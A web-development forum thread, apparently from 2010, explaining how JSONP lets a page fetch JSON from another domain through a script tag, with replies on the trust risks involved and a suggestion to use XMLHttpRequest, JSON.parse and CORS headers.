From what I know, one major limit of ajax in a web browser is that you cannot use ajax to talk to a different domain from which your page was served. Yet, if I do an ajax request for the JSON object at twitter.com (for example “http://twitter.com/statuses/user_timeline.json“) it works! Why is this?
The JSON format (dangerously) allows for cross-domain Ajax requests. This type of request is known as JSONP (JSON with padding).
The reason it works is because it creates a SCRIPT tag that points to the external site (Twitter, in this case). This only works with the JSON format because it JSON is also valid JavaScript. Since there are no domain restrictions on the SCRIPT tag (you can set the SRC attribute to any external domain), the browser does not block the creation of the SCRIPT tag; and since it's not invalid JavaScript, the values come in as JavaScript variables directly. Make sense? ;-) [/font]
The JSON format (dangerously) allows for cross-domain Ajax requests. This type of request is known as JSONP (JSON with padding).
The reason it works is because it creates a SCRIPT tag that points to the external site (Twitter, in this case). This only works with the JSON format because it JSON is also valid JavaScript. Since there are no domain restrictions on the SCRIPT tag (you can set the SRC attribute to any external domain), the browser does not block the creation of the SCRIPT tag; and since it's not invalid JavaScript, the values come in as JavaScript variables directly. Make sense? ;-) [/font][/QUOTE]
@JonaSep 01.2010 — #[font=arial]Generally speaking, the primary problem with circumventing the same origin policy is verifying trusted sources. If you know, absolutely, that the JSON data you're importing is from a trusted source, then you are completely safe and secure. However, if there's even a remote possibility that your source is untrusted (i.e., dynamic source URI's), then you could potentially have a very big and very dangerous security problem.[/font]
@rnd_meSep 01.2010 — #It's safer to use XMLHttpRequest to grap the JSON whole (as a string), and use JSON.parse() to turn it into an object. If you add the CORS headers to your API page, modern browsers can fetch your data via ajax from any domain.